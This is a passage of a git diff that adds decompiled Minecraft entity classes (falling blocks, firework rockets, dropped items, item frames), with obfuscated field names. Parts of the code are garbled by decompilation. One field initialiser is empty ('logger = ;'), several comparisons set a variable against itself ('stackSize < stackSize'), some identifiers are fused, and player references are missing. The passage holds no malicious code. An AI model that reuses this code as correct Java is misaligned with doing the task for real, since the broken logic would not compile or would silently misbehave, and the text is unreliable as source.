+      worldObj.playAuxSFX(2002, new net.minecraft.util.BlockPos(this), 0);
+      int var2 = 3 + worldObj.rand.nextInt(5) + worldObj.rand.nextInt(5);
+      
+      while (var2 > 0)
+      {
+        int var3 = EntityXPOrb.getXPSplit(var2);
+        var2 -= var3;
+        worldObj.spawnEntityInWorld(new EntityXPOrb(worldObj, posX, posY, posZ, var3));
+      }
+      
+      setDead();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityFallingBlock.java b/src/minecraft/net/minecraft/entity/item/EntityFallingBlock.java
new file mode 100644
index 0000000..b7601a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityFallingBlock.java
@@ -0,0 +1,326 @@
+package net.minecraft.entity.item;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockAnvil;
+import net.minecraft.block.BlockFalling;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class EntityFallingBlock extends Entity
+{
+  private IBlockState field_175132_d;
+  public int fallTime;
+  public boolean shouldDropItem = true;
+  private boolean field_145808_f;
+  private boolean hurtEntities;
+  private int fallHurtMax = 40;
+  private float fallHurtAmount = 2.0F;
+  public NBTTagCompound tileEntityData;
+  private static final String __OBFID = "CL_00001668";
+  
+  public EntityFallingBlock(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityFallingBlock(World worldIn, double p_i45848_2_, double p_i45848_4_, double p_i45848_6_, IBlockState p_i45848_8_)
+  {
+    super(worldIn);
+    field_175132_d = p_i45848_8_;
+    preventEntitySpawning = true;
+    setSize(0.98F, 0.98F);
+    setPosition(p_i45848_2_, p_i45848_4_, p_i45848_6_);
+    motionX = 0.0D;
+    motionY = 0.0D;
+    motionZ = 0.0D;
+    prevPosX = p_i45848_2_;
+    prevPosY = p_i45848_4_;
+    prevPosZ = p_i45848_6_;
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+  public boolean canBeCollidedWith()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    Block var1 = field_175132_d.getBlock();
+    
+    if (var1.getMaterial() == Material.air)
+    {
+      setDead();
+    }
+    else
+    {
+      prevPosX = posX;
+      prevPosY = posY;
+      prevPosZ = posZ;
+      
+
+      if (fallTime++ == 0)
+      {
+        BlockPos var2 = new BlockPos(this);
+        
+        if (worldObj.getBlockState(var2).getBlock() == var1)
+        {
+          worldObj.setBlockToAir(var2);
+        }
+        else if (!worldObj.isRemote)
+        {
+          setDead();
+          return;
+        }
+      }
+      
+      motionY -= 0.03999999910593033D;
+      moveEntity(motionX, motionY, motionZ);
+      motionX *= 0.9800000190734863D;
+      motionY *= 0.9800000190734863D;
+      motionZ *= 0.9800000190734863D;
+      
+      if (!worldObj.isRemote)
+      {
+        BlockPos var2 = new BlockPos(this);
+        
+        if (onGround)
+        {
+          motionX *= 0.699999988079071D;
+          motionZ *= 0.699999988079071D;
+          motionY *= -0.5D;
+          
+          if (worldObj.getBlockState(var2).getBlock() != Blocks.piston_extension)
+          {
+            setDead();
+            
+            if ((!field_145808_f) && (worldObj.canBlockBePlaced(var1, var2, true, net.minecraft.util.EnumFacing.UP, null, null)) && (!BlockFalling.canFallInto(worldObj, var2.offsetDown())) && (worldObj.setBlockState(var2, field_175132_d, 3)))
+            {
+              if ((var1 instanceof BlockFalling))
+              {
+                ((BlockFalling)var1).onEndFalling(worldObj, var2);
+              }
+              
+              if ((tileEntityData != null) && ((var1 instanceof net.minecraft.block.ITileEntityProvider)))
+              {
+                TileEntity var3 = worldObj.getTileEntity(var2);
+                
+                if (var3 != null)
+                {
+                  NBTTagCompound var4 = new NBTTagCompound();
+                  var3.writeToNBT(var4);
+                  Iterator var5 = tileEntityData.getKeySet().iterator();
+                  
+                  while (var5.hasNext())
+                  {
+                    String var6 = (String)var5.next();
+                    NBTBase var7 = tileEntityData.getTag(var6);
+                    
+                    if ((!var6.equals("x")) && (!var6.equals("y")) && (!var6.equals("z")))
+                    {
+                      var4.setTag(var6, var7.copy());
+                    }
+                  }
+                  
+                  var3.readFromNBT(var4);
+                  var3.markDirty();
+                }
+              }
+            }
+            else if ((shouldDropItem) && (!field_145808_f) && (worldObj.getGameRules().getGameRuleBooleanValue("doTileDrops")))
+            {
+              entityDropItem(new ItemStack(var1, 1, var1.damageDropped(field_175132_d)), 0.0F);
+            }
+          }
+        }
+        else if (((fallTime > 100) && (!worldObj.isRemote) && ((var2.getY() < 1) || (var2.getY() > 256))) || (fallTime > 600))
+        {
+          if ((shouldDropItem) && (worldObj.getGameRules().getGameRuleBooleanValue("doTileDrops")))
+          {
+            entityDropItem(new ItemStack(var1, 1, var1.damageDropped(field_175132_d)), 0.0F);
+          }
+          
+          setDead();
+        }
+      }
+    }
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    Block var3 = field_175132_d.getBlock();
+    
+    if (hurtEntities)
+    {
+      int var4 = MathHelper.ceiling_float_int(distance - 1.0F);
+      
+      if (var4 > 0)
+      {
+        ArrayList var5 = com.google.common.collect.Lists.newArrayList(worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox()));
+        boolean var6 = var3 == Blocks.anvil;
+        DamageSource var7 = var6 ? DamageSource.anvil : DamageSource.fallingBlock;
+        Iterator var8 = var5.iterator();
+        
+        while (var8.hasNext())
+        {
+          Entity var9 = (Entity)var8.next();
+          var9.attackEntityFrom(var7, Math.min(MathHelper.floor_float(var4 * fallHurtAmount), fallHurtMax));
+        }
+        
+        if ((var6) && (rand.nextFloat() < 0.05000000074505806D + var4 * 0.05D))
+        {
+          int var10 = ((Integer)field_175132_d.getValue(BlockAnvil.DAMAGE)).intValue();
+          var10++;
+          
+          if (var10 > 2)
+          {
+            field_145808_f = true;
+          }
+          else
+          {
+            field_175132_d = field_175132_d.withProperty(BlockAnvil.DAMAGE, Integer.valueOf(var10));
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    Block var2 = field_175132_d != null ? field_175132_d.getBlock() : Blocks.air;
+    ResourceLocation var3 = (ResourceLocation)Block.blockRegistry.getNameForObject(var2);
+    tagCompound.setString("Block", var3 == null ? "" : var3.toString());
+    tagCompound.setByte("Data", (byte)var2.getMetaFromState(field_175132_d));
+    tagCompound.setByte("Time", (byte)fallTime);
+    tagCompound.setBoolean("DropItem", shouldDropItem);
+    tagCompound.setBoolean("HurtEntities", hurtEntities);
+    tagCompound.setFloat("FallHurtAmount", fallHurtAmount);
+    tagCompound.setInteger("FallHurtMax", fallHurtMax);
+    
+    if (tileEntityData != null)
+    {
+      tagCompound.setTag("TileEntityData", tileEntityData);
+    }
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    int var2 = tagCompund.getByte("Data") & 0xFF;
+    
+    if (tagCompund.hasKey("Block", 8))
+    {
+      field_175132_d = Block.getBlockFromName(tagCompund.getString("Block")).getStateFromMeta(var2);
+    }
+    else if (tagCompund.hasKey("TileID", 99))
+    {
+      field_175132_d = Block.getBlockById(tagCompund.getInteger("TileID")).getStateFromMeta(var2);
+    }
+    else
+    {
+      field_175132_d = Block.getBlockById(tagCompund.getByte("Tile") & 0xFF).getStateFromMeta(var2);
+    }
+    
+    fallTime = (tagCompund.getByte("Time") & 0xFF);
+    Block var3 = field_175132_d.getBlock();
+    
+    if (tagCompund.hasKey("HurtEntities", 99))
+    {
+      hurtEntities = tagCompund.getBoolean("HurtEntities");
+      fallHurtAmount = tagCompund.getFloat("FallHurtAmount");
+      fallHurtMax = tagCompund.getInteger("FallHurtMax");
+    }
+    else if (var3 == Blocks.anvil)
+    {
+      hurtEntities = true;
+    }
+    
+    if (tagCompund.hasKey("DropItem", 99))
+    {
+      shouldDropItem = tagCompund.getBoolean("DropItem");
+    }
+    
+    if (tagCompund.hasKey("TileEntityData", 10))
+    {
+      tileEntityData = tagCompund.getCompoundTag("TileEntityData");
+    }
+    
+    if ((var3 == null) || (var3.getMaterial() == Material.air))
+    {
+      field_175132_d = Blocks.sand.getDefaultState();
+    }
+  }
+  
+  public World getWorldObj()
+  {
+    return worldObj;
+  }
+  
+  public void setHurtEntities(boolean p_145806_1_)
+  {
+    hurtEntities = p_145806_1_;
+  }
+  
+
+
+
+  public boolean canRenderOnFire()
+  {
+    return false;
+  }
+  
+  public void addEntityCrashInfo(CrashReportCategory category)
+  {
+    super.addEntityCrashInfo(category);
+    
+    if (field_175132_d != null)
+    {
+      Block var2 = field_175132_d.getBlock();
+      category.addCrashSection("Immitating block ID", Integer.valueOf(Block.getIdFromBlock(var2)));
+      category.addCrashSection("Immitating block data", Integer.valueOf(var2.getMetaFromState(field_175132_d)));
+    }
+  }
+  
+  public IBlockState getBlock()
+  {
+    return field_175132_d;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityFireworkRocket.java b/src/minecraft/net/minecraft/entity/item/EntityFireworkRocket.java
new file mode 100644
index 0000000..d70b326
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityFireworkRocket.java
@@ -0,0 +1,217 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+
+public class EntityFireworkRocket
+  extends Entity
+{
+  private int fireworkAge;
+  private int lifetime;
+  private static final String __OBFID = "CL_00001718";
+  
+  public EntityFireworkRocket(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.25F, 0.25F);
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObjectByDataType(8, 5);
+  }
+  
+
+
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    return distance < 4096.0D;
+  }
+  
+  public EntityFireworkRocket(World worldIn, double p_i1763_2_, double p_i1763_4_, double p_i1763_6_, ItemStack p_i1763_8_)
+  {
+    super(worldIn);
+    fireworkAge = 0;
+    setSize(0.25F, 0.25F);
+    setPosition(p_i1763_2_, p_i1763_4_, p_i1763_6_);
+    int var9 = 1;
+    
+    if ((p_i1763_8_ != null) && (p_i1763_8_.hasTagCompound()))
+    {
+      dataWatcher.updateObject(8, p_i1763_8_);
+      NBTTagCompound var10 = p_i1763_8_.getTagCompound();
+      NBTTagCompound var11 = var10.getCompoundTag("Fireworks");
+      
+      if (var11 != null)
+      {
+        var9 += var11.getByte("Flight");
+      }
+    }
+    
+    motionX = (rand.nextGaussian() * 0.001D);
+    motionZ = (rand.nextGaussian() * 0.001D);
+    motionY = 0.05D;
+    lifetime = (10 * var9 + rand.nextInt(6) + rand.nextInt(7));
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+    
+    if ((prevRotationPitch == 0.0F) && (prevRotationYaw == 0.0F))
+    {
+      float var7 = MathHelper.sqrt_double(x * x + z * z);
+      prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(x, z) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(y, var7) * 180.0D / 3.141592653589793D));
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    lastTickPosX = posX;
+    lastTickPosY = posY;
+    lastTickPosZ = posZ;
+    super.onUpdate();
+    motionX *= 1.15D;
+    motionZ *= 1.15D;
+    motionY += 0.04D;
+    moveEntity(motionX, motionY, motionZ);
+    float var1 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+    rotationYaw = ((float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+    
+    for (rotationPitch = ((float)(Math.atan2(motionY, var1) * 180.0D / 3.141592653589793D)); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+    
+
+
+
+    while (rotationPitch - prevRotationPitch >= 180.0F)
+    {
+      prevRotationPitch += 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw < -180.0F)
+    {
+      prevRotationYaw -= 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw >= 180.0F)
+    {
+      prevRotationYaw += 360.0F;
+    }
+    
+    rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+    rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+    
+    if ((fireworkAge == 0) && (!isSlient()))
+    {
+      worldObj.playSoundAtEntity(this, "fireworks.launch", 3.0F, 1.0F);
+    }
+    
+    fireworkAge += 1;
+    
+    if ((worldObj.isRemote) && (fireworkAge % 2 < 2))
+    {
+      worldObj.spawnParticle(EnumParticleTypes.FIREWORKS_SPARK, posX, posY - 0.3D, posZ, rand.nextGaussian() * 0.05D, -motionY * 0.5D, rand.nextGaussian() * 0.05D, new int[0]);
+    }
+    
+    if ((!worldObj.isRemote) && (fireworkAge > lifetime))
+    {
+      worldObj.setEntityState(this, (byte)17);
+      setDead();
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if ((p_70103_1_ == 17) && (worldObj.isRemote))
+    {
+      ItemStack var2 = dataWatcher.getWatchableObjectItemStack(8);
+      NBTTagCompound var3 = null;
+      
+      if ((var2 != null) && (var2.hasTagCompound()))
+      {
+        var3 = var2.getTagCompound().getCompoundTag("Fireworks");
+      }
+      
+      worldObj.makeFireworks(posX, posY, posZ, motionX, motionY, motionZ, var3);
+    }
+    
+    super.handleHealthUpdate(p_70103_1_);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setInteger("Life", fireworkAge);
+    tagCompound.setInteger("LifeTime", lifetime);
+    ItemStack var2 = dataWatcher.getWatchableObjectItemStack(8);
+    
+    if (var2 != null)
+    {
+      NBTTagCompound var3 = new NBTTagCompound();
+      var2.writeToNBT(var3);
+      tagCompound.setTag("FireworksItem", var3);
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    fireworkAge = tagCompund.getInteger("Life");
+    lifetime = tagCompund.getInteger("LifeTime");
+    NBTTagCompound var2 = tagCompund.getCompoundTag("FireworksItem");
+    
+    if (var2 != null)
+    {
+      ItemStack var3 = ItemStack.loadItemStackFromNBT(var2);
+      
+      if (var3 != null)
+      {
+        dataWatcher.updateObject(8, var3);
+      }
+    }
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return super.getBrightness(p_70013_1_);
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return super.getBrightnessForRender(p_70070_1_);
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityItem.java b/src/minecraft/net/minecraft/entity/item/EntityItem.java
new file mode 100644
index 0000000..aa6a798
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityItem.java
@@ -0,0 +1,548 @@
+package net.minecraft.entity.item;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityItem extends Entity
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  
+  private int age;
+  
+  private int delayBeforeCanPickup;
+  
+  private int health;
+  
+  private String thrower;
+  
+  private String owner;
+  
+  public float hoverStart;
+  
+  private static final String __OBFID = "CL_00001669";
+  
+
+  public EntityItem(World worldIn, double x, double y, double z)
+  {
+    super(worldIn);
+    health = 5;
+    hoverStart = ((float)(Math.random() * 3.141592653589793D * 2.0D));
+    setSize(0.25F, 0.25F);
+    setPosition(x, y, z);
+    rotationYaw = ((float)(Math.random() * 360.0D));
+    motionX = ((float)(Math.random() * 0.20000000298023224D - 0.10000000149011612D));
+    motionY = 0.20000000298023224D;
+    motionZ = ((float)(Math.random() * 0.20000000298023224D - 0.10000000149011612D));
+  }
+  
+  public EntityItem(World worldIn, double x, double y, double z, ItemStack stack)
+  {
+    this(worldIn, x, y, z);
+    setEntityItemStack(stack);
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  public EntityItem(World worldIn)
+  {
+    super(worldIn);
+    health = 5;
+    hoverStart = ((float)(Math.random() * 3.141592653589793D * 2.0D));
+    setSize(0.25F, 0.25F);
+    setEntityItemStack(new ItemStack(Blocks.air, 0));
+  }
+  
+  protected void entityInit()
+  {
+    getDataWatcher().addObjectByDataType(10, 5);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if (getEntityItem() == null)
+    {
+      setDead();
+    }
+    else
+    {
+      super.onUpdate();
+      
+      if ((delayBeforeCanPickup > 0) && (delayBeforeCanPickup != 32767))
+      {
+        delayBeforeCanPickup -= 1;
+      }
+      
+      prevPosX = posX;
+      prevPosY = posY;
+      prevPosZ = posZ;
+      motionY -= 0.03999999910593033D;
+      noClip = pushOutOfBlocks(posX, (getEntityBoundingBoxminY + getEntityBoundingBoxmaxY) / 2.0D, posZ);
+      moveEntity(motionX, motionY, motionZ);
+      boolean var1 = ((int)prevPosX != (int)posX) || ((int)prevPosY != (int)posY) || ((int)prevPosZ != (int)posZ);
+      
+      if ((var1) || (ticksExisted % 25 == 0))
+      {
+        if (worldObj.getBlockState(new net.minecraft.util.BlockPos(this)).getBlock().getMaterial() == net.minecraft.block.material.Material.lava)
+        {
+          motionY = 0.20000000298023224D;
+          motionX = ((rand.nextFloat() - rand.nextFloat()) * 0.2F);
+          motionZ = ((rand.nextFloat() - rand.nextFloat()) * 0.2F);
+          playSound("random.fizz", 0.4F, 2.0F + rand.nextFloat() * 0.4F);
+        }
+        
+        if (!worldObj.isRemote)
+        {
+          searchForOtherItemsNearby();
+        }
+      }
+      
+      float var2 = 0.98F;
+      
+      if (onGround)
+      {
+        var2 = worldObj.getBlockState(new net.minecraft.util.BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.98F;
+      }
+      
+      motionX *= var2;
+      motionY *= 0.9800000190734863D;
+      motionZ *= var2;
+      
+      if (onGround)
+      {
+        motionY *= -0.5D;
+      }
+      
+      if (age != 32768)
+      {
+        age += 1;
+      }
+      
+      handleWaterMovement();
+      
+      if ((!worldObj.isRemote) && (age >= 6000))
+      {
+        setDead();
+      }
+    }
+  }
+  
+
+
+
+  private void searchForOtherItemsNearby()
+  {
+    Iterator var1 = worldObj.getEntitiesWithinAABB(EntityItem.class, getEntityBoundingBox().expand(0.5D, 0.0D, 0.5D)).iterator();
+    
+    while (var1.hasNext())
+    {
+      EntityItem var2 = (EntityItem)var1.next();
+      combineItems(var2);
+    }
+  }
+  
+
+
+
+
+  private boolean combineItems(EntityItem other)
+  {
+    if (other == this)
+    {
+      return false;
+    }
+    if ((other.isEntityAlive()) && (isEntityAlive()))
+    {
+      ItemStack var2 = getEntityItem();
+      ItemStack var3 = other.getEntityItem();
+      
+      if ((delayBeforeCanPickup != 32767) && (delayBeforeCanPickup != 32767))
+      {
+        if ((age != 32768) && (age != 32768))
+        {
+          if (var3.getItem() != var2.getItem())
+          {
+            return false;
+          }
+          if ((var3.hasTagCompound() ^ var2.hasTagCompound()))
+          {
+            return false;
+          }
+          if ((var3.hasTagCompound()) && (!var3.getTagCompound().equals(var2.getTagCompound())))
+          {
+            return false;
+          }
+          if (var3.getItem() == null)
+          {
+            return false;
+          }
+          if ((var3.getItem().getHasSubtypes()) && (var3.getMetadata() != var2.getMetadata()))
+          {
+            return false;
+          }
+          if (stackSize < stackSize)
+          {
+            return other.combineItems(this);
+          }
+          if (stackSize + stackSize > var3.getMaxStackSize())
+          {
+            return false;
+          }
+          
+
+          stackSize += stackSize;
+          delayBeforeCanPickup = Math.max(delayBeforeCanPickup, delayBeforeCanPickup);
+          age = Math.min(age, age);
+          other.setEntityItemStack(var3);
+          setDead();
+          return true;
+        }
+        
+
+
+        return false;
+      }
+      
+
+
+      return false;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void setAgeToCreativeDespawnTime()
+  {
+    age = 4800;
+  }
+  
+
+
+
+  public boolean handleWaterMovement()
+  {
+    if (worldObj.handleMaterialAcceleration(getEntityBoundingBox(), net.minecraft.block.material.Material.water, this))
+    {
+      if ((!inWater) && (!firstUpdate))
+      {
+        resetHeight();
+      }
+      
+      inWater = true;
+    }
+    else
+    {
+      inWater = false;
+    }
+    
+    return inWater;
+  }
+  
+
+
+
+
+  protected void dealFireDamage(int amount)
+  {
+    attackEntityFrom(DamageSource.inFire, amount);
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if ((getEntityItem() != null) && (getEntityItem().getItem() == Items.nether_star) && (source.isExplosion()))
+    {
+      return false;
+    }
+    
+
+    setBeenAttacked();
+    health = ((int)(health - amount));
+    
+    if (health <= 0)
+    {
+      setDead();
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("Health", (short)(byte)health);
+    tagCompound.setShort("Age", (short)age);
+    tagCompound.setShort("PickupDelay", (short)delayBeforeCanPickup);
+    
+    if (getThrower() != null)
+    {
+      tagCompound.setString("Thrower", thrower);
+    }
+    
+    if (getOwner() != null)
+    {
+      tagCompound.setString("Owner", owner);
+    }
+    
+    if (getEntityItem() != null)
+    {
+      tagCompound.setTag("Item", getEntityItem().writeToNBT(new NBTTagCompound()));
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    health = (tagCompund.getShort("Health") & 0xFF);
+    age = tagCompund.getShort("Age");
+    
+    if (tagCompund.hasKey("PickupDelay"))
+    {
+      delayBeforeCanPickup = tagCompund.getShort("PickupDelay");
+    }
+    
+    if (tagCompund.hasKey("Owner"))
+    {
+      owner = tagCompund.getString("Owner");
+    }
+    
+    if (tagCompund.hasKey("Thrower"))
+    {
+      thrower = tagCompund.getString("Thrower");
+    }
+    
+    NBTTagCompound var2 = tagCompund.getCompoundTag("Item");
+    setEntityItemStack(ItemStack.loadItemStackFromNBT(var2));
+    
+    if (getEntityItem() == null)
+    {
+      setDead();
+    }
+  }
+  
+
+
+
+  public void onCollideWithPlayer(EntityPlayer entityIn)
+  {
+    if (!worldObj.isRemote)
+    {
+      ItemStack var2 = getEntityItem();
+      int var3 = stackSize;
+      
+      if ((delayBeforeCanPickup == 0) && ((owner == null) || (6000 - age <= 200) || (owner.equals(entityIn.getName()))) && (inventory.addItemStackToInventory(var2)))
+      {
+        if (var2.getItem() == Item.getItemFromBlock(Blocks.log))
+        {
+          entityIn.triggerAchievement(AchievementList.mineWood);
+        }
+        
+        if (var2.getItem() == Item.getItemFromBlock(Blocks.log2))
+        {
+          entityIn.triggerAchievement(AchievementList.mineWood);
+        }
+        
+        if (var2.getItem() == Items.leather)
+        {
+          entityIn.triggerAchievement(AchievementList.killCow);
+        }
+        
+        if (var2.getItem() == Items.diamond)
+        {
+          entityIn.triggerAchievement(AchievementList.diamonds);
+        }
+        
+        if (var2.getItem() == Items.blaze_rod)
+        {
+          entityIn.triggerAchievement(AchievementList.blazeRod);
+        }
+        
+        if ((var2.getItem() == Items.diamond) && (getThrower() != null))
+        {
+          EntityPlayer var4 = worldObj.getPlayerEntityByName(getThrower());
+          
+          if ((var4 != null) && (var4 != entityIn))
+          {
+            var4.triggerAchievement(AchievementList.diamondsToYou);
+          }
+        }
+        
+        if (!isSlient())
+        {
+          worldObj.playSoundAtEntity(entityIn, "random.pop", 0.2F, ((rand.nextFloat() - rand.nextFloat()) * 0.7F + 1.0F) * 2.0F);
+        }
+        
+        entityIn.onItemPickup(this, var3);
+        
+        if (stackSize <= 0)
+        {
+          setDead();
+        }
+      }
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? getCustomNameTag() : net.minecraft.util.StatCollector.translateToLocal("item." + getEntityItem().getUnlocalizedName());
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+  
+
+
+
+  public void travelToDimension(int dimensionId)
+  {
+    super.travelToDimension(dimensionId);
+    
+    if (!worldObj.isRemote)
+    {
+      searchForOtherItemsNearby();
+    }
+  }
+  
+
+
+
+
+  public ItemStack getEntityItem()
+  {
+    ItemStack var1 = getDataWatcher().getWatchableObjectItemStack(10);
+    
+    if (var1 == null)
+    {
+      if (worldObj != null)
+      {
+        logger.error("Item entity " + getEntityId() + " has no item?!");
+      }
+      
+      return new ItemStack(Blocks.stone);
+    }
+    
+
+    return var1;
+  }
+  
+
+
+
+
+  public void setEntityItemStack(ItemStack stack)
+  {
+    getDataWatcher().updateObject(10, stack);
+    getDataWatcher().setObjectWatched(10);
+  }
+  
+  public String getOwner()
+  {
+    return owner;
+  }
+  
+  public void setOwner(String owner)
+  {
+    this.owner = owner;
+  }
+  
+  public String getThrower()
+  {
+    return thrower;
+  }
+  
+  public void setThrower(String thrower)
+  {
+    this.thrower = thrower;
+  }
+  
+  public int func_174872_o()
+  {
+    return age;
+  }
+  
+  public void setDefaultPickupDelay()
+  {
+    delayBeforeCanPickup = 10;
+  }
+  
+  public void setNoPickupDelay()
+  {
+    delayBeforeCanPickup = 0;
+  }
+  
+  public void setInfinitePickupDelay()
+  {
+    delayBeforeCanPickup = 32767;
+  }
+  
+  public void setPickupDelay(int ticks)
+  {
+    delayBeforeCanPickup = ticks;
+  }
+  
+  public boolean func_174874_s()
+  {
+    return delayBeforeCanPickup > 0;
+  }
+  
+  public void func_174873_u()
+  {
+    age = 59536;
+  }
+  
+  public void func_174870_v()
+  {
+    setInfinitePickupDelay();
+    age = 5999;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityItemFrame.java b/src/minecraft/net/minecraft/entity/item/EntityItemFrame.java
new file mode 100644
index 0000000..d8b9e54
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityItemFrame.java
@@ -0,0 +1,270 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityHanging;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemMap;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+import net.minecraft.world.storage.MapData;
+
+public class EntityItemFrame extends EntityHanging
+{
+  private float itemDropChance = 1.0F;
+  private static final String __OBFID = "CL_00001547";
+  
+  public EntityItemFrame(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityItemFrame(World worldIn, net.minecraft.util.BlockPos p_i45852_2_, EnumFacing p_i45852_3_)
+  {
+    super(worldIn, p_i45852_2_);
+    func_174859_a(p_i45852_3_);
+  }
+  
+  protected void entityInit()
+  {
+    getDataWatcher().addObjectByDataType(8, 5);
+    getDataWatcher().addObject(9, Byte.valueOf((byte)0));
+  }
+  
+  public float getCollisionBorderSize()
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if ((!source.isExplosion()) && (getDisplayedItem() != null))
+    {
+      if (!worldObj.isRemote)
+      {
+        func_146065_b(source.getEntity(), false);
+        setDisplayedItem(null);
+      }
+      
+      return true;
+    }
+    
+
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+  public int getWidthPixels()
+  {
+    return 12;
+  }
+  
+  public int getHeightPixels()
+  {
+    return 12;
+  }
+  
+
+
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = 16.0D;
+    var3 *= 64.0D * renderDistanceWeight;
+    return distance < var3 * var3;
+  }
+  
+
+
+
+  public void onBroken(Entity p_110128_1_)
+  {
+    func_146065_b(p_110128_1_, true);
+  }
+  
+  public void func_146065_b(Entity p_146065_1_, boolean p_146065_2_)
+  {
+    if (worldObj.getGameRules().getGameRuleBooleanValue("doTileDrops"))
+    {
+      ItemStack var3 = getDisplayedItem();
+      
+      if ((p_146065_1_ instanceof EntityPlayer))
+      {
+        EntityPlayer var4 = (EntityPlayer)p_146065_1_;
+        
+        if (capabilities.isCreativeMode)
